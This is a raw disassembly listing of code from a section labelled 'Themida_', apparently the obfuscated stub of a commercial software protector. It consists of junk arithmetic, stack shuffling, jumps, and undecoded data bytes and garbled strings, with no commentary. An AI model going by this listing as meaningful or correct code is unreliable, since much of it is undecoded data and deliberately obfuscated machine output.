loc_5454B2: ; CODE XREF: Themida_:0054CCD9j
mov [eax], bh
pop eax
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_541378
; ---------------------------------------------------------------------------
dw 0C87h
aSag db '$\éAG',0
dw 5B00h
dd 0C0E9D6F6h, 81FFFFF2h, 0D96F3CF1h, 53E16872h, 2C890000h
dd 52515624h, 0CA0794BAh, 6EA8154h, 0E9113E79h, 5A9Bh
; ---------------------------------------------------------------------------
loc_545508: ; CODE XREF: Themida_:0054B6E4j
mov ecx, esp
add ecx, 4
jmp loc_54A722
; ---------------------------------------------------------------------------
db 81h, 0F7h, 74h
dd 1062420h, 0EC835FFBh, 24348904h, 0F87BE957h, 1C89FFFFh
dd 6B5A6824h, 2C890000h, 6F6FBD24h, 6FBB187Dh, 311A7D6Fh
dd 0D8215DEBh, 5B2434FFh, 0E904EC83h, 1102h
; ---------------------------------------------------------------------------
loc_545550: ; CODE XREF: Themida_:0054AC0Ej
push edx
jmp loc_54C38C
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0E4E95024h, 66FFFFDBh, 6824048Bh, 4EFFh, 68240C89h
dd 145Ch, 81242489h, 42404h, 0E9590000h, 4386h, 6A516856h
dd 0EDE9332Ah, 5000005Fh, 223DE9h
db 0
; ---------------------------------------------------------------------------
loc_545591: ; CODE XREF: Themida_:0054A517j
add esp, 4
pop edx
pop ebx
push 32F5h
mov [esp], eax
jmp loc_5428AC
; ---------------------------------------------------------------------------
db 81h
dd 4EDh, 242C3300h, 33242C31h, 895C242Ch, 0BDE92404h, 8FFFFFBDh
dd 0BDB6E902h, 0E1F6FFFFh, 52CEE9h, 0E9E58800h, 0FFFFD2C5h
dd 9D1C77FFh, 24041158h, 0F4F5E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5455DE: ; CODE XREF: Themida_:00542E19j
pop ax
movzx eax, al
jmp loc_54C018
; ---------------------------------------------------------------------------
dd 0B0F4C581h, 0E931FA5Fh, 59CD295Dh, 0E95DEA29h, 0FFFFBD7Ch
dd 241C8966h, 88EBB66h, 66DE2966h, 5605665Bh, 0F0016623h
dd 0BF665766h, 5662356h, 2966089Dh, 9D2D66F8h, 41B6E908h
dd 0C4830000h, 68535204h, 0EC64E26h, 0A0C3815Bh, 89FC45C1h
dd 0DA22E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54563E: ; CODE XREF: Themida_:0054665Ej
push ebx
sub dword ptr [esp], 217733B9h
pop eax
add eax, 217733B9h
mov ebx, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
push 0F64h
mov [esp], esi
push ebx
mov ebx, 20000h
push eax
mov eax, ebx
mov esi, eax
pop eax
pop ebx
and eax, esi
mov esi, [esp]
push 314h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], ebp
push eax
mov eax, 15E95DFEh
jmp loc_54ABFD
; ---------------------------------------------------------------------------
db 5Fh
dd 8904EC83h, 0C8E9240Ch, 68000001h, 6DF0h, 1F6F68h, 4EC8100h
dd 89000000h, 4832424h, 48F0424h, 1E94E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5456BE: ; CODE XREF: Themida_:0054BFA4j
xor edx, 357944D0h
xor edx, 6D570E8Dh
mov eax, edx
pop edx
shl eax, 7
dec eax
jmp loc_54A197
; ---------------------------------------------------------------------------
dw 1489h
dd 4034BA24h, 0B9517E15h, 20h, 0E950F901h, 0FFFFD07Ah
; ---------------------------------------------------------------------------
loc_5456EC: ; CODE XREF: Themida_:0054BC27j
add esp, 4
push ebp
mov ebp, esp
push eax
jmp loc_5440C1
; ---------------------------------------------------------------------------
db 5
dd 7B95F8Dh, 0FFD9A3E9h, 240481FFh, 55DF1ED4h, 0FFF43EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545711: ; CODE XREF: Themida_:0054AA77j
push esi
mov esi, 4
add ebx, esi
pop esi
jmp loc_54A1D8
; ---------------------------------------------------------------------------
loc_54571F: ; CODE XREF: Themida_:00541EDDj
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
shr eax, 0Ch
xor eax, ecx
push eax
jmp loc_549361
; ---------------------------------------------------------------------------
dd 5A66C22Ch, 91E95366h, 89000017h, 0E954242Ch, 3203h
dd 10B5E95Ah, 30AC0000h, 36B6E9D8h, 895E0000h, 1E95EF5h
dd 5BFFFFE2h, 0D0F7485Fh, 0FFE9D6E9h, 242489FFh, 4BA52h
dd 54010000h, 595A0424h, 4B850h, 0C1010000h, 4685658h
dd 8B000000h, 0C4812434h, 4, 0E95EF129h, 0FFFFF93Eh
; ---------------------------------------------------------------------------
loc_54579C: ; CODE XREF: Themida_:005484D2j
mov esp, [esp]
push 6736h
mov [esp], edi
sub esp, 4
jmp loc_543CB2
; ---------------------------------------------------------------------------
aLScs db '‹,$éCs',0
align 2
dw 0EBD1h
dd 9B3AC381h, 0B3E923AAh
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5457C7: ; CODE XREF: Themida_:0054CF9Aj
pop edx
add bl, 52h
jmp loc_5446E0
; ---------------------------------------------------------------------------
dd 592434FFh, 4C481h, 285A0000h, 525B66D8h, 0B0E911B2h
dd 0B6000059h, 0F5C68052h, 8073B450h, 0E4C0C4E4h, 80DCF606h
dd 0AFE95AC4h, 0BFFFFFC9h, 28FA688Eh, 815EF729h, 7E1B93E9h
dd 53F9010Bh, 7E1B93BBh, 0E9D9010Bh, 598Dh
; ---------------------------------------------------------------------------
loc_54581C: ; CODE XREF: Themida_:005444A0j
jmp loc_541378
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 87h
dd 28FFFFD2h, 0C8B66EBh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push 570Ch
mov [esp], edi
jmp loc_544B22
; ---------------------------------------------------------------------------
db 1
aScz db 'Êé—z',0
align 2
dw 0B951h
dd 63F471B9h, 4244C01h, 89525859h, 945E9E2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54585E: ; CODE XREF: Themida_:00542BC9j
mov esp, [esp]
push ebp
jmp loc_548468
; ---------------------------------------------------------------------------
db 0B9h
dd 75347920h, 0E908E9C1h, 0FFFFD26Eh, 0B6525366h, 5AF388A3h
dd 9FDE9h, 0BAF2E900h, 0C480FFFFh, 0FDEC8017h, 0E9E78853h
dd 4C2Bh, 8704C583h, 248B242Ch, 2404FF24h, 0BAD2E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5458A6: ; CODE XREF: Themida_:00542A28j
add edi, edx
add edi, 701A6C33h
mov edx, [esp]
jmp loc_54B8C7
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835924h, 55D82904h, 0E2748ABDh, 5B2DE96Ah, 0C4810000h
dd 4, 5E08950h, 4, 7150E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5458DE: ; CODE XREF: Themida_:00546924j
mov eax, 48BB2B6Ch
push 49022D63h
pop esi
sub esi, eax
jmp loc_5434C0
; ---------------------------------------------------------------------------
dd 97FE8B9h, 6AC1817Bh, 1982585h, 835E59CAh, 7E904ECh
dd 0BE000066h, 2E627F28h, 2012E953h, 0C5810000h, 2DF07D8Eh
dd 0FF9F581h, 0E989C726h, 5BD9315Dh, 0FFCBC5E9h, 240C89FFh
dd 6250BEB9h, 0FFBA524Dh, 0E9FFFFFFh, 7108h, 24048B66h
dd 41E95452h, 81FFFFBBh, 2D57B6C1h, 4FF6E912h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545952: ; CODE XREF: Themida_:00544831j
add esp, 4
sub ebp, ecx
jmp loc_544E2F
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 7574E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54596A: ; CODE XREF: Themida_:00542074j
add edi, 342D2C53h
sub edi, eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, 76413665h
jmp loc_54343F
; ---------------------------------------------------------------------------
loc_54598F: ; CODE XREF: Themida_:0054A741j
shr eax, 7
push ebp
mov ebp, 0F5779B2h
shr ebp, 7
jmp loc_54B3C8
; ---------------------------------------------------------------------------
loc_5459A0: ; CODE XREF: Themida_:0054D11Ej
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 1
sub esp, 4
mov [esp], ebp
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ebp, [esp]
jmp loc_5486F0
; ---------------------------------------------------------------------------
dw 0EB81h
dd 2C8D6BEBh, 7B34C381h, 0DD29A10Ch, 81241C8Bh, 4C4h, 0C5814500h
dd 3EA74B7Dh, 0DAE9EDD1h
db 3Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5459FB: ; CODE XREF: Themida_:0054D40Dj
mov edi, esp
push esi
mov esi, 4FD508CDh
sub esi, 3A7B322Bh
or esi, 34035133h
neg esi
sub esi, 0CAA42849h
add edi, esi
jmp loc_54867E
; ---------------------------------------------------------------------------
dw 0E958h
dd 7FA5h
; ---------------------------------------------------------------------------
loc_545A24: ; CODE XREF: Themida_:00544F8Bj
mov [esp], ebp
push 3FEh
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov ebp, [esp]
jmp loc_547689
; ---------------------------------------------------------------------------
db 57h
dd 2BFh, 60BD5500h, 0E93AAD50h, 0FFFFC6D7h, 66D830ACh
dd 0D9B75352h, 4C82E9h, 58C70100h, 4EF81h, 0FF570000h
dd 5F042474h, 5C24048Fh, 0EE3E9h, 4B900h, 0AAE90000h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545A87: ; CODE XREF: Themida_:0054A72Dj
sub ecx, ebp
jmp loc_549983
; ---------------------------------------------------------------------------
dw 77FFh
a8sJ db '8éÌJ',0
align 2
aAqnpq9ssiz db '·Í€ïNPQ±9Sé›Z',0
db 0
; ---------------------------------------------------------------------------
loc_545AA5: ; CODE XREF: Themida_:005479EEj
sub dword ptr [esp], 4B4B1C95h
mov ecx, [esp]
add esp, 4
add ecx, 4B4B1C95h
pop edx
mov ebp, ecx
pop ecx
xor ebp, 2C750559h
sub eax, 7C9C0A3Ah
add eax, ebp
add eax, 7C9C0A3Ah
mov ebp, [esp]
add esp, 4
push ebp
push 22DDh
mov [esp], edx
mov edx, 225694Fh
sub edx, 225614Fh
push ecx
mov ecx, edx
push eax
mov eax, ecx
jmp loc_54AB85
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4EC81h, 0DDE90000h, 0F7000053h, 17C281D2h, 3109D8DEh
dd 0F0315AD6h, 8324348Bh, 59E904C4h, 8BFFFFB8h, 0C4832404h
dd 240C8704h, 243C895Ch, 0FFDE13E9h, 242C8BFFh, 8104C483h
dd 181CD4C7h, 8BFE017Dh, 0C481243Ch, 4, 0BF57C601h, 6E004FABh
dd 0E95FFE29h, 4EADh, 7FAF0559h, 0C601C84Bh, 2C68158h
dd 87000000h, 248B2434h, 48B6624h, 59545124h, 4C181h, 0E9830000h
dd 240C8704h, 2414895Ch, 0C281E289h, 4, 2F4C68h, 243C8900h
dd 1726BBFh, 0F7814747h, 2FA63AEDh, 5EEAF781h, 0BA5201D2h
dd 3EF73704h, 74E9DAF7h, 89000025h, 74FF2404h, 48B0424h
dd 2A47E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545BC2: ; CODE XREF: Themida_:00542BC1j
push eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_542503
; ---------------------------------------------------------------------------
db 89h
dd 0C2892414h, 0FF5AD389h, 0B9E92434h, 0B400003Ch, 58E5003Eh
dd 4B7CE9h, 0B8685500h, 5D416545h, 0C104E5C1h, 22E903E5h
dd 0BBFFFFD3h, 441F57AEh, 59CFE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545C06: ; CODE XREF: Themida_:00549717j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push edx
mov edx, 64060865h
mov ebp, 0E9E0242h
add ebp, edx
jmp loc_54BF5E
; ---------------------------------------------------------------------------
loc_545C22: ; CODE XREF: Themida_:0054AB53j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_54B152
; ---------------------------------------------------------------------------
dd 4C481h, 0EC810000h, 4, 0E9240489h, 20DEh, 931D2B9h
dd 0EEE9811Ah, 8115F22Eh, 807F76E9h, 8BCF2958h, 0A3E9240Ch
dd 81000035h, 0B06F4EF2h, 94E2814Bh, 0E95D5430h, 0FFFFDA00h
dd 3FF8E956h, 41680000h, 8900005Ch, 4812424h, 424h, 0E138E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545C8A: ; CODE XREF: Themida_:0054CBC0j
pop ecx
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push edx
jmp loc_54A3FF
; ---------------------------------------------------------------------------
dd 2102472Dh, 1E6C2D7Ah, 0C601F935h, 8BF10158h, 0C4832434h
dd 0B879E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545CB2: ; CODE XREF: Themida_:00547698j
add ebp, 40E20310h
add ebp, esi
sub ebp, 40E20310h
sub ebp, 6EEC4582h
jmp loc_54421C
; ---------------------------------------------------------------------------
loc_545CCB: ; CODE XREF: Themida_:0054A507j
pop esp
jmp loc_5496F0
; ---------------------------------------------------------------------------
loc_545CD1: ; CODE XREF: Themida_:0054CB9Fj
mov esi, esp
add esi, 4
jmp loc_5438F6
; ---------------------------------------------------------------------------
dw 23B1h
dd 0E91DC180h, 23CEh, 240C8B66h, 0E9E68956h, 6943h, 10F1F281h
dd 0AEE95688h, 1000033h, 2BC681DEh, 8173BE33h, 52D66EEh
dd 1B8EE907h, 0C7810000h, 4, 25ED6855h, 4890000h, 75C06824h
dd 3C890000h, 1585BF24h, 0B6E93F35h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545D33: ; CODE XREF: Themida_:0054D233j
add esp, 4
jmp loc_54520D
; ---------------------------------------------------------------------------
loc_545D3E: ; CODE XREF: Themida_:0054239Ej
mov ch, 6Ah
sub dl, ch
pop ecx
add bl, dl
jmp loc_54B38B
; ---------------------------------------------------------------------------
loc_545D4A: ; CODE XREF: Themida_:00541E85j
add ebx, 4
jmp loc_542E4C
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 382B68h, 242C8900h, 468h, 242C8B00h, 4C481h, 0EE010000h
dd 56242C8Bh, 52E9E689h, 2900003Dh, 0AD005D0h, 55A3B70h
dd 359F40C3h, 0E9E68956h, 7757h
; ---------------------------------------------------------------------------
loc_545D90: ; CODE XREF: Themida_:00546375j
add ecx, 4
push ecx
jmp loc_54B6C0
; ---------------------------------------------------------------------------
loc_545D99: ; CODE XREF: Themida_:0054871Fj
push ebp
push ebx
jmp loc_541D5E
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 1C8B2434h, 9D3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545DAE: ; CODE XREF: Themida_:0054D5B3j
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
loc_545DC4: ; CODE XREF: Themida_:00548CA8j
push ebx
jmp loc_54D045
; ---------------------------------------------------------------------------
dw 0ED81h
dd 0B36D1820h, 0E4E9E801h, 29FFFFEDh, 0EB815DEBh, 45D63D8Bh
dd 5350FB01h, 17584C68h, 0D3F75B08h, 2F4AE9h, 5AD72800h
dd 5208EFC0h, 0D59E9h, 68E68900h, 2BC9h, 0BB241C89h, 4
dd 0FFE3C9E9h, 6CC681FFh, 13A8FEDh, 0C1815EF2h, 66B3368Bh
dd 0E981D101h, 66B3368Bh, 8324148Bh, 0C8704C4h, 24248B24h
dd 0FFD405E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545E39: ; CODE XREF: Themida_:0054A46Cj
sub eax, ebp
pop ebp
shl eax, 8
add eax, 677673A0h
mov [edi+20h], eax
pop eax
shl dword ptr [edi+20h], 4
jmp loc_54AE30
; ---------------------------------------------------------------------------
db 0F7h, 0DFh, 81h
dd 0D878D2CFh, 0E94E907h, 42350000h, 121377Bh, 0E6E958C5h
dd 50FFFFBFh, 0FFF04AE9h, 241487FFh, 773FE9h
db 0
; ---------------------------------------------------------------------------
loc_545E79: ; CODE XREF: Themida_:00542259j
pop ebx
push eax
mov eax, edx
mov edi, eax
mov eax, [esp]
add esp, 4
pop edx
and eax, edi
push dword ptr [esp]
pop edi
push ebx
jmp loc_54C2CD
; ---------------------------------------------------------------------------
dw 0D001h
dd 8124148Bh, 4C4h, 4EC8300h, 0FF240489h, 8B042474h, 0C4812404h
dd 4, 8B24048Fh, 50E92424h, 68FFFFC8h, 11B5h, 0BF243C89h
dd 544379CDh, 0FFDD82E9h, 49EC68FFh, 3C890000h, 47AAE924h
dd 0CF310000h, 0F5E78159h, 4758A419h, 7BF5E781h, 0EF811DDEh
dd 0F981E946h, 0B2E9F901h, 5DFFFFC7h, 0FFE9A3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545EFD: ; CODE XREF: Themida_:00547AB8j
mov eax, 3576117Fh
jmp loc_54B7F8
; ---------------------------------------------------------------------------
loc_545F07: ; CODE XREF: Themida_:005413C5j
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
jmp loc_542BCE
; ---------------------------------------------------------------------------
db 0BEh
dd 71DA9FE1h, 1E9F301h, 8900004Eh, 80BD55E6h, 815EC968h
dd 9A483EE5h, 526F6848h, 34890000h, 0DF93E924h, 4B9FFFFh
dd 1000000h, 348759CEh, 0C2815C24h, 4, 0C8CBE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545F52: ; CODE XREF: Themida_:0054A296j
not bl
jmp loc_5451E4
; ---------------------------------------------------------------------------
db 52h, 0E9h, 1Ch
dd 8100007Ah, 4C5h, 2C58100h, 0E9000000h, 0FFFFF0F6h, 667DC581h
dd 0EE293BA9h, 2434875Dh, 6624248Bh, 0E9240489h, 0FFFFB52Eh
; ---------------------------------------------------------------------------
loc_545F88: ; CODE XREF: Themida_:00542EDDj
xchg edi, [esp]
mov eax, [esp]
add esp, 4
push ebp
push edx
mov edx, 1
mov ebp, edx
jmp loc_54A31A
; ---------------------------------------------------------------------------
db 31h
dd 14332414h, 5223E924h, 0C1830000h, 240C8704h, 0E924248Bh
dd 64F8h
; ---------------------------------------------------------------------------
loc_545FB8: ; CODE XREF: Themida_:0054D054j
add edx, 4
xchg edx, [esp]
jmp loc_548EFA
; ---------------------------------------------------------------------------
dw 0E389h
dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FFF169E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545FDD: ; CODE XREF: Themida_:00548550j
mov edx, [esp]
add esp, 4
jmp loc_541702
; ---------------------------------------------------------------------------
db 66h
dd 0E924048Bh, 0FFFFE1AFh, 4C48358h, 0FFC52EE9h, 0F7D687FFh
dd 31D631D2h, 1955E9F2h, 0C7810000h, 37343461h, 0E957505Eh
dd 0FFFFC2D6h, 0A8368h, 243C8900h, 23E16855h, 0F1E96FBBh
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54602B: ; CODE XREF: Themida_:0054AE03j
shr ebp, 2
inc ebp
shl ebp, 5
xchg edx, ebp
not edx
xchg edx, ebp
inc ebp
jmp loc_5417F6
; ---------------------------------------------------------------------------
dw 8ABFh
dd 81257757h, 5302B4C7h, 5FFE3140h, 5502E6C1h, 0CF66E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546056: ; CODE XREF: Themida_:00546842j
mov ebx, 3CB0128h
and ebx, 0DFA113Fh
jmp loc_54A367
; ---------------------------------------------------------------------------
loc_546066: ; CODE XREF: Themida_:00544A0Cj
pop esp
jmp loc_54B3BD
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 8BE83000h, 0C483240Ch, 66EB8004h, 42B86866h
dd 240C8966h, 6574E9h, 4BA00h, 0D6010000h, 0E924148Bh
dd 0C14h, 8105EBC1h, 0A54B7CEBh, 0FFC38190h, 52FFFFFFh
dd 464CC0BAh, 8EAC176h, 0C7F2814Ah, 814D6F52h, 0D0629EE2h
dd 6B72E96Bh, 0E95C0000h, 562Ch
; ---------------------------------------------------------------------------
loc_5460CC: ; CODE XREF: Themida_:00548570j
pop edi
push ebx
push ecx
mov ecx, 3F067835h
jmp loc_544BF8
; ---------------------------------------------------------------------------
db 66h, 81h, 0E9h
dd 665B1B45h, 6601C183h, 0A115C181h, 4787E9h, 2BF00h, 0CDE90000h
dd 8FFFFD8h, 0D9F658C1h, 0E903E1C0h, 5D53h, 3C8BF801h
dd 2CE95624h, 89000041h, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 52E5815Ch, 0F74DA342h, 3BF581DDh, 813B3613h, 0E978AFC5h
dd 5DE801D1h, 4AA5BE56h, 683381h, 29000000h, 348B2434h
dd 4C48124h, 68000000h, 4282h, 0B9240C89h, 27806002h, 650AC681h
dd 0CE2941D7h, 1983E9h
db 0
; ---------------------------------------------------------------------------
loc_546169: ; CODE XREF: Themida_:00543DFCj
add edi, 7F8F5CCFh
shl edi, 4
jmp loc_54945D
; ---------------------------------------------------------------------------
a24sSg db '½24™$éƒ/',0
dd 2CE95F00h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546187: ; CODE XREF: Themida_:0054BA5Dj
push esi
mov esi, 48FE2861h
sub esi, 48FE285Dh
add ebp, esi
pop esi
jmp loc_544679
; ---------------------------------------------------------------------------
loc_54619B: ; CODE XREF: Themida_:005437C1j
xor [esp], ebp
jmp loc_54480F
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0A2BA2414h, 4213E02Ah
dd 2C76E9h
db 0
; ---------------------------------------------------------------------------
loc_5461C1: ; CODE XREF: Themida_:005486C4j
mov esi, 4
add eax, esi
mov esi, [esp]
jmp loc_54D123
; ---------------------------------------------------------------------------
dd 0DEBC381h, 0D2E95C70h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5461DB: ; CODE XREF: Themida_:00547A3Aj
mov [esp], ecx
mov ch, 3Ch
jmp loc_546718
; ---------------------------------------------------------------------------
db 68h, 0E2h, 62h
dd 34890000h, 2474FF24h, 8FE95E04h, 100005Ah, 0C631E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5461FE: ; CODE XREF: Themida_:00541E7Aj
sub ecx, eax
jmp loc_54BB86
; ---------------------------------------------------------------------------
loc_546205: ; CODE XREF: Themida_:0054A261j
xor ebx, 73588069h
sub esi, ebx
pop ebx
jmp loc_546704
; ---------------------------------------------------------------------------
db 5Ah
dd 8107E6C1h, 0FE2F3BC6h, 60BB53E8h, 4B6CC76Dh, 8104EBC1h
dd 0C361D8CBh, 0E9DBF76Dh, 613h, 18EFF581h, 0C581517Ah
dd 0E5C8C564h, 5C33E9h, 8CBB5300h, 14F7F01h, 0E9515BDEh
dd 800h, 4EC81h, 1C890000h, 1CBB24h, 0EB810000h, 1E45712Eh
dd 477EE9h, 5DE88900h, 738ABF57h, 0F80942CDh, 1A54E95Fh
dd 0D9300000h, 241C8B66h, 2C481h, 0F1800000h, 3E3FE9C7h
dd 0ED830000h, 242C8704h, 4407E9h, 4EC8300h, 81242489h
dd 42404h, 348B0000h, 4C48124h, 68000000h, 45BBh, 52242C89h
dd 0E6061CBAh, 5AD58904h, 8BE9EDD1h, 81000061h, 4C4h, 7CED8100h
dd 57737038h, 32C5BD55h, 60E96672h, 81FFFFE1h, 4C4h, 72496800h
dd 4890000h, 3D88B824h, 8C353EB5h, 13EB53Dh, 8DE958C7h
dd 5D000016h, 74A0F381h, 0EE95FEBh, 0C100001Eh, 0B2E907EBh
dd 5B000021h, 48BC189h, 0C17DE924h, 0EC83FFFFh, 240C8904h
dd 721DB850h, 0E7B9321Bh, 1CDE48Dh, 0CE0158C1h, 51240C8Bh
dd 0C181E189h, 4, 8704C183h, 815C240Ch, 4C6h, 4EC8100h
dd 89000000h, 74FF2434h, 8F5E0424h, 0E95C2404h, 0FFFFB010h
; ---------------------------------------------------------------------------
loc_546368: ; CODE XREF: Themida_:005428D4j
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_545D90
; ---------------------------------------------------------------------------
loc_54637A: ; CODE XREF: Themida_:005494F5j
push dword ptr [esp]
jmp loc_54471A
; ---------------------------------------------------------------------------
dw 0B850h
dd 4F7F3943h, 4DE1EF81h, 0C7293FA4h, 4DE1B850h, 0C7013FA4h
dd 2434FF58h, 4C48358h, 8103E7C1h, 0CF681AEFh, 5FFB89C6h
dd 0E95AD331h, 0FFFFAFC4h
; ---------------------------------------------------------------------------
loc_5463B4: ; CODE XREF: Themida_:00543AADj
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_54D485
; ---------------------------------------------------------------------------
db 0B8h
dd 17E33114h, 5BBCEA81h, 0C201429Ah, 5BBCC281h, 158429Ah
dd 0B4E955FAh, 0FF00002Bh, 669D1C77h, 241CD259h, 6A33E99Ch
dd 0EE010000h, 2434875Dh, 0E924248Bh, 0FFFFE85Bh, 0E924248Bh
dd 0FFFFEB38h, 0D5ED815Eh, 0E9396846h, 0FFFFFFDEh, 4C581h
dd 68520000h, 4C5Eh, 0BE243489h, 3F0D0270h, 8C7F681h, 0E6C17ADDh
dd 0D4EE8103h, 8161AB7Bh, 0B39D5BF6h, 152E9FFh, 0F2890000h
dd 0FFB07DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54644D: ; CODE XREF: Themida_:00548352j
mov [esp], eax
mov eax, 4
jmp loc_54A7F1
; ---------------------------------------------------------------------------
dw 8952h
dd 4C281E2h, 83000000h, 148704C2h, 0B9515C24h, 49512E51h
dd 2E55F181h, 36E94951h, 900000Eh, 0E9591C4Fh, 0FFFFED2Ah
; ---------------------------------------------------------------------------
loc_546484: ; CODE XREF: Themida_:00544EA8j
shl dl, 3
jmp loc_542395
; ---------------------------------------------------------------------------
dd 81E78957h, 4C7h, 2C78100h, 87000000h, 248B243Ch, 0E9506624h
dd 0FFFFE0E2h, 0D324248Bh, 0C5E92424h, 0E9FFFFAEh, 0FFFFAEC0h
; ---------------------------------------------------------------------------
loc_5464B8: ; CODE XREF: Themida_:00544B6Fj
mov ecx, 4B1E64AFh
add ecx, 16FB6ABEh
shr ecx, 8
dec ecx
sub ecx, 0A5B403E1h
jmp loc_54264E
; ---------------------------------------------------------------------------
dw 0EB01h
dword_5464D4 dd 0FFE6EAE9h, 69A3BFFFh, 52E9143Bh, 68000032h, 40B73430h
dd 5B2434FFh, 8104C483h, 0B73432F3h, 5BD88940h, 3358C301h
dd 1C31241Ch, 241C3324h, 0E924248Bh, 40ABh, 2469E952h
dd 34870000h, 24248B24h, 0FFAE5BE9h, 39E9BEFFh, 0F6813B88h
dd 3DF90C9Bh, 412EF681h, 0EE8153C1h, 55B07458h, 266FE9h
dd 240C8900h, 0B10EB450h, 0FFE13078h, 83582434h, 84E904C4h
dd 1000059h, 4EC81C2h, 89000000h, 6856242Ch, 49311F73h
dd 0FFF1F5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546565: ; CODE XREF: Themida_:00549DDCj
not ebx
xor ebx, 0A0DF0604h
add eax, 44891A0Dh
add eax, 41533664h
sub eax, ebx
sub eax, 41533664h
sub eax, 44891A0Dh
pop ebx
jmp loc_546C4A
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd offset dword_457444+272A5h
dd 0E9E82100h, 0FFFFEE8Ah, 98BB43BAh, 0ACBE56CCh, 0E927C439h
dd 3C50h, 4EC815Ah, 89000000h, 86B02404h, 0CD04E8D0h, 28E1E9h
dd 31685C00h, 89000012h, 8957242Ch, 4C781E7h, 81000000h
dd 4EFh, 243C8700h, 241C895Ch, 468h, 0DD895B00h, 81241C8Bh
dd 4C4h, 96BE900h, 0C7010000h, 3DCDE9h, 45AEB800h, 0ABE94EE1h
dd 0BA000041h, 4, 0FFD4CEE9h, 4C481FFh, 68000000h, 3607h
dd 0E9241489h, 333h, 0E4717468h, 0D9F75921h, 2FCAB850h
dd 0D0F77F4Ah, 762DD8F7h, 3185FF84h, 0CD8958C1h, 4EC8359h
dd 0E9240C89h, 34E6h
; ---------------------------------------------------------------------------
loc_546648: ; CODE XREF: Themida_:005427B8j
mov edi, 73A0906Bh
jmp loc_54769D
; ---------------------------------------------------------------------------
dw 3C89h
dd 0E9E78924h, 0FFFFEE1Ch
; ---------------------------------------------------------------------------
loc_54665C: ; CODE XREF: Themida_:00541ED6j
mov ebx, esi
jmp loc_54563E
; ---------------------------------------------------------------------------
db 31h
dd 9CE956DFh, 68FFFFF2h, 1DB0h, 56241489h, 0FFC424E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546679: ; CODE XREF: Themida_:0054867Fj
push edx
mov edx, 4
add edi, edx
mov edx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push edi
mov edi, 15A731B1h
or edi, 3AC967EEh
or edi, 3FD17A5Ch
xor edi, 683D0279h
shl edi, 7
shl edi, 6
sub edi, 4FB0BFFCh
add esi, edi
pop edi
xchg esi, [esp]
pop esp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_54BD97
; ---------------------------------------------------------------------------
db 5Dh
dd 31243433h, 34332434h, 0E7E95C24h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
